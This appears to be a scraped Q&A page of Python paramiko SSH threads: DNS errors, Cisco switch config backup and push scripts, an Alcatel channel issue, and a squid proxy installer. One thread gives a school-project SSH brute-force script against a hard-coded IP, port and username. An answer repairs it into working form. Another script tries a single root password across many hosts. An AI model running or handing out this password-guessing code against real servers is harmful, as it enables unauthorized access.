I am trying to ssh to a remote server using python paramiko module. I need to include the key file dynamically. My code is given below.
import getpass
import paramiko
server = raw_input("What is the server name? ")
username = raw_input("Enter the username: ")
passphrase = getpass.getpass(prompt="Enter your passphrase: ")
key = '/home/%s/.ssh/id_rsa' % username
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(server, username=username, password=passphrase, key_filename=key)
stdin, stdout, stderr = ssh.exec_command('df -h')
print stdout.readlines()
ssh.close()
I am able to work with the code if I provide the key path directly instead of using the variable.
The error I am getting is:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python2.7/dist-packages/paramiko/client.py", line 237, in connect
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
socket.gaierror: [Errno -2] Name or service not known`enter code here`
seems like you have some dns error here, Pasting my script to get ssh status over here, that is dealing all the exceptions (at least I have noted so far)
#!/bin/python3
import threading, time, paramiko, socket, getpass
from queue import Queue
locke1 = threading.Lock()
q = Queue()
#Check the login
def check_hostname(host_name, pw_r):
with locke1:
print ("Checking hostname :"+str(host_name)+" with " + threading.current_thread().name)
file_output = open('output_file','a')
file_success = open('success_file','a')
file_failed = open('failed_file','a')
file_error = open('error_file','a')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host_name, username='root', password=pw_r, timeout=5)
#print ("Success")
file_success.write(str(host_name+"\n"))
file_success.close()
file_output.write("success: "+str(host_name+"\n"))
file_output.close()
# printing output if required from remote machine
#stdin,stdout,stderr = ssh.exec_command("hostname&&uptime")
#for line in stdout.readlines():
# print (line.strip())
except paramiko.SSHException:
# print ("error")
file_failed.write(str(host_name+"\n"))
file_failed.close()
file_output.write("failed: "+str(host_name+"\n"))
file_output.close()
#quit()
except paramiko.ssh_exception.NoValidConnectionsError:
#print ("might be windows------------")
file_output.write("failed: " + str(host_name + "\n"))
file_output.close()
file_failed.write(str(host_name+"\n"))
file_failed.close()
#quit()
except socket.gaierror:
#print ("wrong hostname/dns************")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
except socket.timeout:
#print ("No Ping %%%%%%%%%%%%")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
ssh.close()
def performer1():
while True:
hostname_value = q.get()
check_hostname(hostname_value,pw_sent)
q.task_done()
if __name__ == '__main__':
print ("This script checks all the hostnames in the input_file with your standard password and write the outputs in below files: \n1.file_output\n2.file_success \n3.file_failed \n4.file_error \n")
f = open('output_file', 'w')
f.write("-------Output of all hosts-------\n")
f.close()
f = open('success_file', 'w')
f.write("-------Success hosts-------\n")
f.close()
f = open('failed_file', 'w')
f.write("-------Failed hosts-------\n")
f.close()
f = open('error_file', 'w')
f.write("-------Hosts with error-------\n")
f.close()
with open("input_file") as f:
hostname1 = f.read().splitlines()
#Read the standard password from the user
pw_sent=getpass.getpass("Enter the Password:")
start_time1 = time.time()
for i in hostname1:
q.put(i)
#print ("all the hostname : "+str(list(q.queue)))
for no_of_threads in range(10):
t = threading.Thread(target=performer1)
t.daemon=True
t.start()
q.join()
print ("Check output files for results")
print ("completed task in" + str(time.time()-start_time1) + "seconds")
Related
I need some help for a script in Python. it works for few times, but I just added some time.sleep() and now the script won't work : It did not connect to switch by SSH or Telnet.
I also need some tips to optimize it, because i'm not pro and i would like to learn more on scripting.
Thank you !
(Sorry commentaries in french :/)
import paramiko, time, re, os
from ciscoconfparse import CiscoConfParse
import telnetlib
###cherche hotes depuis fichier hosts.txt###
with open("./hosts/hosts.txt","r") as f:
hosts = re.findall(r'(\d+.\d+.\d+.\d+)', f.read())
f.close()
###boucle pour chaque hotes###
for host in hosts:
state = ""
running_config = ""
try:
###Connexion SSH switch###
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username='admin', password='XXXXX')
###création shell interactif###
connection = client.invoke_shell()
###commande enable###
connection.send("enable\n")
time.sleep(1)
connection.send("XXXX\n")
###commande running-config###
connection.send("terminal length 0\n") ###Permet l'affichage de l'intégralité des commande###
time.sleep(1)
connection.send("show running-config\n")
###récupération commande running-config###
resp_run = connection.recv(10000).decode(encoding='utf-8')
###fermeture sessions SSH###
connection.close()
client.close()
###Traitement running-config###
regex = re.compile(r'(Current configuration : (.+\n)+end)')
res = re.findall (regex, resp_run)
running_config = res[0][0] ###aide appel variable
except:
###si fail SSH test telnet###
state = "SSH NOK "###Permet génération rapport###
try:
###connexion telnet si SSH NOK###
session = telnetlib.Telnet(host, 23)
session.write(b"admin\n")
session.read_until(b"Password: ")
session.write(b"XXXXXX\n")
time.sleep(1)
session.write(b"enable\n")
session.read_until(b"Password: ")
session.write(b"XXXXXX\n")
session.read_until(b"#")
session.write(b"term len 0\n")
session.write(b"show run\n")
res = session.read_until(b"\nend").decode('utf-8')
###fermeture session telnet###
session.close()
###récupération commande running-config###
regex = re.compile(r'(Current configuration : (.+\n)+end)')
res = re.findall(regex, res)
running_config = res[0][0] ###aide appel variable###
except:
state += "TELNET NOK"###Permet génération rapport###
###Création fichier running_config.txt + dir selon host###
newpath = ('./config_switch/'+host+'/')
if not os.path.exists(newpath):
os.makedirs(newpath)
f = open("./config_switch/"+host+"/running_config.txt", "w+")
f.write(running_config)
f.close()
###test ssh telnet pour rapport###
if not state:
print (host+" OK")
else:
print (host+" : "+state+" ERREUR")
###generation rapport###
f = open("./rapport.txt","a")
f.write(state)
f.close()
###arrêt de 2sec par sécurité###
time.sleep(2)
You should have a good error handling mechanism if you have different version/model devices in your network. So we use below functions for some of operations these might help you.
Code (SSH Connection):
#Make Connection To Device Through SSH (If returns None Do Not Proceed)
def connectToCPESSH(ip, uname, pin, CI_LOCAL_ID, CI_Name, CI_Org_Name, runIDnull):
ip = ip.strip()
SSHCliente = None
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=22, username=uname, password=pin,
timeout=240,banner_timeout=250, auth_timeout=500)
SSHCliente = client.invoke_shell()
return SSHCliente
except paramiko.ssh_exception.SSHException as ssh1Err:
return "Equipment SSH version error : " + str(ssh1Err)
if isinstance(SSHCliente, paramiko.channel.Channel):
SSHCliente.close()
sys.exit()
return None
except Exception as e:
if isinstance(SSHCliente, paramiko.channel.Channel):
SSHCliente.close()
try:
tln = telnetlib.Telnet(ip)
print("Use Telnet Access to " + str(e) + " ### " + str(t))
except Exception as t:
print("Crab! Both Telnet and SSH Connection Failed ! " + str(e) + " ### " + str(t))
return None
So, in above code we try to connect via SSH and if we get an error about SSHException we log it and if we get any error try Telnet (this is optional, we use Telnet for some old devices).
Code (Wait For Prompt: Only HW and Cisco)
#Wait Prompt For The First Connection
def waitForPrompt(cxn):
appendedScrnRslt = ""
lastScrnRslt = ""
routerType = ""
outerLoop = True
timerx = 0
while outerLoop == True:
tempScrn = cxn.recv(65100).decode('ascii')
if(lastScrnRslt != tempScrn):
appendedScrnRslt += tempScrn
lastScrnRslt = tempScrn
if("#" in tempScrn or ">" in tempScrn or "]" in tempScrn):
if("#" in tempScrn):
routerType = "Cisco"
if(("<" in tempScrn and ">" in tempScrn) or ("[" in tempScrn and "]" in tempScrn) ):
routerType = "Huawei"
break
timerx += 1
if(timerx >= 100):
logging.warn("Uppss! No Connection")
routerType = "N/A"
break
return routerType
Waiting prompt is curicial, if you act early your command will not be send to device, and if you act late your cxn might be terminated. So, just checking for prompt (HW: , Cisco: your-router-name#) is better.
Code ( Send and Receive ):
#Send Command and Recevie CIdatafromSQL
def sendCmdToSSH(cxn, cmd, routerType, timeout):
appendedScrnRslt = ""
lastScrnRslt = ""
cxn.send(bytes(cmd+ "\x0D", 'utf-8'))
time.sleep(2)
timery = time.perf_counter()
while time.perf_counter() - timery <= timeout:
if(routerType == "Cisco"):
tempScrn = cxn.recv(65100).decode('ascii')
if(lastScrnRslt != tempScrn):
appendedScrnRslt += tempScrn
lastScrnRslt = tempScrn
arrTmp = tempScrn.split('\r\n')
arrTmp.reverse()
if("#" in arrTmp[0]):
break
arrTmp = []
if(routerType == "Huawei"):
tempScrn = cxn.recv(65100).decode('ascii')
if(lastScrnRslt != tempScrn):
appendedScrnRslt += tempScrn
lastScrnRslt = tempScrn
arrTmp = tempScrn.split('\r\n')
arrTmp.reverse()
if(">" in arrTmp[0] or "]" in arrTmp[0] ):
break
arrTmp = []
return appendedScrnRslt
Send and receive needs a timeout in order to break connection if some error occurs and we definetly need screen results too.
Code (To Get All Running Config From Cisco):
singleSSHCxn = connectToCPESSH(ip, uname, pin, CI_LOCAL_ID, CI_Name,
CI_Org_Name, runIDnull)
sendCmdToSSH(singleSSHCxn, "terminal length 0", "Cisco", 120)
cliResult = sendCmdToSSH(singleSSHCxn, "show running-config", "Cisco", 200)
sendCmdToSSH(singleSSHCxn, "exit", "Cisco", 120)
Hope this will solve your issue.
I have a lot of cisco switches and routers in my environment. I have three sets of credentials (only one of them works with a particular device. I then have the IPs listed in a notepad (sub.txt). And the configuration in another notepad (config.txt)
The aim is to push the configurations (line by line) from config.txt to the list of list of IP via SSH. If the command is accepted by the devices, a log should be put into success.txt and if the command is not accepted for some reason, a log should be appended to fail.txt
But this does not work. Can you please help me fix?
import paramiko
import time
import sys
import logging
import socket
import pexpect
import traceback
from pexpect.popen_spawn import PopenSpawn
remote_conn_pre = paramiko.SSHClient()
remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ips = [i.strip() for i in open("sub.txt")]
user_local = "user1"
pass_local = "pass1"
user_aspac = "user2"
pass_aspac = "pass2"
user_batcca = "user3"
pass_batcca = "pass3"
g = open('config.txt', 'r+')
str = g.read()
g.close
success = open('success.txt', 'a')
fail = open('failed.txt', 'a')
paramiko.util.log_to_file("paramiko.log")
for ip in ips:
try:
remote_conn_pre.connect(ip, username=user_local, password=pass_local, timeout=4, look_for_keys=False, allow_agent=False)
#print ("SSH connection established to %s" + ip)
remote_conn = remote_conn_pre.invoke_shell()
print (ip + ' === local credential')
#remote_conn.send("show switch\n")
remote_conn.send((str))
time.sleep(2)
output = remote_conn.recv(5000)
print (output)
except paramiko.AuthenticationException:
try:
remote_conn_pre.connect(ip, username=user_aspac, password=pass_aspac, timeout=4, look_for_keys=False, allow_agent=False)
remote_conn1 = remote_conn_pre.invoke_shell()
print ip + ' === Global Credentials'
#output = remote_conn.recv(500)
#remote_conn.send("show switch")
#remote_conn.send("\n")
remote_conn1.send((str))
time.sleep(2)
output1 = remote_conn1.recv(5000)
print (output1)
except paramiko.AuthenticationException:
try:
#remote_conn_pre.connect(ip, username=user_batcca, password=pass_batcca, timeout=4, look_for_keys=False, allow_agent=False)
#remote_conn2 = remote_conn_pre.invoke_shell()
child = pexpect.popen_spawn.PopenSpawn('ssh ' + user_batcca + '#' + ip)
child.expect ('[pP]assword:')
child.sendline(pass_batcca)
print ip + ' === BATCCA Credential'
#output2 = remote_conn2.recv(5000)
for line in open('Config.txt').xreadlines():
child.sendline(line)
i = child.expect (['#', '^'])
if i==0:
success.write(ip + '\t' + line +'\n')
elif i==1:
fail.write(ip + '\t' + line +'\n')
time.sleep(5)
output2 = child.recv(5000)
print (output2)
except paramiko.AuthenticationException:
print ip + ' === Bad credentials'
remote_conn3 = remote_conn_pre.invoke_shell()
output3 = remote_conn3.recv(5000)
print (output3)
except paramiko.SSHException:
print ip + ' === Issues with ssh service'
except socket.error:
print ip + ' === Device unreachable'
Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above
Traceback (most recent call last):
File "<string>", line 56, in <module>
File "c:\Python27\Scripts\build\install_squid\out00-PYZ.pyz\paramiko.transport", line 211, in __init__
socket.gaierror: [Errno 11001] getaddrinfo failed
I get this error when launching this .py / compiled exe
import paramiko
import csv
import datetime
import os,time
def times():
today = str(datetime.datetime.today()).split(' ')
time=today[1].split('.')
t=""+today[0]+' '+time[0]+''
return t
if __name__=="__main__":
print "Time : %s"%times()
path=os.path.dirname(os.path.abspath(__file__))
conf=open(os.path.join(path,'conf.txt'),'r').readlines()
proxyUsername=str(str(conf[0]).split('=')[1]).strip()
proxyPassword=str(str(conf[1]).split('=')[1]).strip()
proxyPort=str(str(conf[2]).split('=')[1]).strip()
proxySh=open(os.path.join(path,'proxy.sh'),'r').read()
proxySh=proxySh.replace('user=','user=%s'%(str(proxyUsername))).replace('pass=','pass=%s'%(str(proxyPassword))).replace('port=','port=%s'%(str(proxyPort)))
open(os.path.join(path,'proxy2.sh'),'wb').write(proxySh)
time.sleep(1)
squidSh=open(os.path.join(path,'squid.conf'),'r').read()
squidSh=squidSh.replace('http_port 0.0.0.0:','http_port 0.0.0.0:%s'%(str(proxyPort)))
open(os.path.join(path,'squid2.conf'),'wb').write(squidSh)
time.sleep(1)
with open('servers.csv', 'rb') as csvfile:
reader = csv.reader(csvfile)
your_list = list(reader)
for item1 in your_list:
host = item1[0]
username = item1[1]
password = item1[2]
port = 22
pathProxy = '/usr/src/proxy.sh'
proxy = os.path.join(path,'proxy2.sh')
pathConfig = '/usr/src/squid.conf'
config = os.path.join(path,'squid2.conf')
transport = paramiko.Transport((host, port))
transport.connect(username = username, password = password)
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put(proxy, pathProxy)
sftp.put(config, pathConfig)
sftp.close()
transport.close()
print "Copied SquidProxy Script To Server " + "........" + host
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=username, password=password, port=22)
print "Installing SquidProxy Script To Server " + "........" + host
#
sleeptime = 0.001
outdata, errdata = '', ''
ssh_transp = ssh.get_transport()
chan = ssh_transp.open_session()
# chan.settimeout(3 * 60 * 60)
chan.setblocking(0)
chan.exec_command('cd /usr/src && sh proxy.sh')
while True: # monitoring process
# Reading from output streams
while chan.recv_ready():
outdata += chan.recv(1000)
while chan.recv_stderr_ready():
errdata += chan.recv_stderr(1000)
if chan.exit_status_ready(): # If completed
break
time.sleep(sleeptime)
retcode = chan.recv_exit_status()
ssh_transp.close()
print(outdata)
for x in str(outdata).splitlines():
if proxyPassword in x:
open(os.path.join(path,'proxies.txt'),'a').write(x+'\n')
os.remove(os.path.join(path,'squid2.conf'))
os.remove(os.path.join(path,'proxy2.sh'))
Any ideas?
when i run:
def conn_string(cmd, switch_IP, uname, pword):
try:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(switch_IP, username=uname, password=pword, port=22)
stdin, stdout, stderr = ssh.exec_command(command=cmd, timeout=60)
output = stdout.read()
current_res = output.decode('ascii')
print(current_res)
return current_res
except paramiko.AuthenticationException:
print("\n Authentication Failed!")
exit()
except paramiko.SSHException:
print("\n Issues with SSH service!!!")
exit()
except BaseException as e:
print(str(e))
exit()
if __name__ == '__main__':
switch_IP = input("Enter switch IP address: ")
u_name = "abc"
p_word = "xyz"
res = conn_string("show configuration snapshot", switch_IP, u_name, p_word)
i get SSH exception: Channel Closed
but when i run:
conn = paramiko.SSHClient()
conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
conn.connect(switch_IPAddress, port=22, username=u_name,
password=p_word,
look_for_keys=False, allow_agent=False)
con = conn.invoke_shell()
output = con.recv(65535)
final_output = output.decode('ascii')
print(final_output)
con.send("show configuration snapshot")
time.sleep(.5)
output = con.recv(65535)
final_output = output.decode('ascii')
print(final_output)
it only shows me device info and the command without any output or errors
The cmd works fine on the switch console.
if I use the same code on a cisco switch(with diff command of course) it works perfect but fails on the alcatel switch. Please help me out.